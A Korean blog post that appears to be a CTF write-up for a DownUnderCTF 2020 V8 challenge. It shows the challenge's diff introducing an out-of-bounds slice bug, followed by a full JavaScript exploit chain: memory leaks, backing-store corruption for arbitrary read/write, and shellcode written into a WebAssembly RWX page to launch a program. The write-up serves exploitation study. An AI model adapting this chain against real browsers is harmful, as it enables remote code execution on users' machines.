본문 바로가기

브라우저

DownUnderCTF 2020 / is-this-pwn-or-web

같이 스터디하는 분이 CTF에 V8 나왔다고 알려줘서 풀어봤습니다.

 

 

 

 

취약점

 

Slice로 생성되는 array에서 OOB가 발생합니다. V8에선 OOB object가 생성되면 익스플로잇은 늘 하던 거 그대로 하면 되기 때문에 따로 자세히 설명하지는 않겠습니다. 다만 Exploit을 하다보면 OOB의 Base가 V8 heap이 아닌 다른 영역인데 이 부분은 나중에 분석 후 설명을 업로드할 예정입니다. (2021-10-29 young geneation )

diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
         // to be copied out. Therefore, re-check the length before calling
         // the appropriate fast path. See regress-785804.js
         if (SmiAbove(start + count, a.length)) goto Bailout;
-        return ExtractFastJSArray(context, a, start, count);
+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;
       }
       case (a: JSStrictArgumentsObject): {
         goto HandleSimpleArgumentsSlice(a);
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 26ccb62c68..8114a861cc 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1342,9 +1342,12 @@ MaybeLocal<Context> Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+  // Remove globals
+  //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   Local<Context> context =
-      Context::New(isolate, nullptr, global_template, global_object);
+      //Context::New(isolate, nullptr, global_template, global_object);
+      Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+                   v8::MaybeLocal<Value>());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal<Context>();
   InitializeModuleEmbedderData(context);
@@ -2285,10 +2288,13 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
+  // Prevent `import("stuff")`
+  /*
   isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
       Shell::HostInitializeImportMetaObject);
+  */
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
@@ -2316,9 +2322,11 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+  //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  //Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(isolate, nullptr,
+                                        ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index a4d4b9d356..7e2738b96e 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -26,6 +26,10 @@ macro CreateArrayIterator(implicit context: NativeContext)(
 }
 
 extern class JSArray extends JSObject {
+  macro ChangeLength(newLength: Smi) {
+    this.length = newLength;
+  }
+  
   macro IsEmpty(): bool {
     return this.length == 0;
   }

 

 

Exploit

 

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);




function ftoi(val) { // typeof(val) = float
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}
function hex(val){
	return "0x"+val.toString(16)
}

function assert(a){
	if(a){
		return;
	}
	throw "error"
}
/*

*/

function print(a){
    console.log(a)
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;

a = [1.1,2.2,3.3,4.4]
oob = a.slice(5,5)
addr = [0x1234,0x1234,0x1234,0x1234,{}]
NOT_GC=new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
console.log(oob)
console.log(addr)
console.log(NOT_GC)
console.log(AARW)


for(idx=0x7c00;idx<0xffffff;idx++){
	tmp=oob[idx]
	if(tmp){
       //console.log( addr_idx+ " = "+hex(ftoi(tmp)))
	}
	if (ftoi(tmp) == 0x700000000){
       console.log("isolate idx found!! = "+hex(idx))
	   break;
	}
}
high = ftoi(oob[idx+1])
isolate = (high%(1n<<32n))<<32n
console.log('isolate = '+hex(isolate))






for(addr_idx=0x7c00;addr_idx<0xffffff;addr_idx++){
	tmp=oob[addr_idx]
	if(tmp){
       //console.log( addr_idx+ " = "+hex(ftoi(tmp)))
	}
	if (ftoi(tmp) == 0x246800002468){
       console.log("addr idx found!! = "+hex(addr_idx))
	   break;
	}
}


for(x=0;x<100;x++){
    leak = oob[addr_idx+x]
    leak = ftoi(leak)
    //console.log(hex(leak))
}

addr[4]=wasm_instance
RWX_ptr = ftoi(oob[addr_idx+1])>>32n
RWX_ptr = RWX_ptr +0x68n-1n + isolate
console.log(hex(RWX_ptr))



for(addr_idx=0x7c00;addr_idx<0xffffff;addr_idx++){
	tmp=oob[addr_idx]
	if(tmp){
       //console.log( addr_idx+ " = "+hex(ftoi(tmp)))
	}
	if ( (ftoi(tmp)>>32n == 0xceedn) | ftoi(tmp)%(1n<<32n) == 0xceedn ){
       console.log("addr idx found!!")
	   break;
	}
}





console.log("addr idx = "+hex(addr_idx))

oob[addr_idx+1] = itof((RWX_ptr)<<32n)
oob[addr_idx+2] = itof(RWX_ptr>>32n)
//AAWR_addr(oob,addr_idx,0xdeadbeef12345678)
view = new DataView(AARW)
RWX_1=view.getUint32(0,true)//AARW
RWX_2=view.getUint32(4,true)
RWX = RWX_2*(0x100**4) + RWX_1
console.log(hex(RWX))
console.log("low = "+hex((RWX%0x100000000)*0x100000000))
console.log("high = "+hex( Math.floor(RWX/0x100000000)))
oob[addr_idx+1] = itof(RWX%(0x100**4)*(0x100**4))
oob[addr_idx+2] = itof(Math.floor(RWX/0x100000000))

shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(i=0;i<shellcode.length;i++){
        view.setUint32(i*4,shellcode[i],true);
}
sh()

'브라우저' 카테고리의 다른 글

CCE 2021 - shlowering  (0) 2021.10.29
CVE-2020-6383  (0) 2020.11.10
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
pwn2win 2020 / omnitmizer  (0) 2020.06.03
Chrome v8 / CVE-2020-6418  (1) 2020.04.25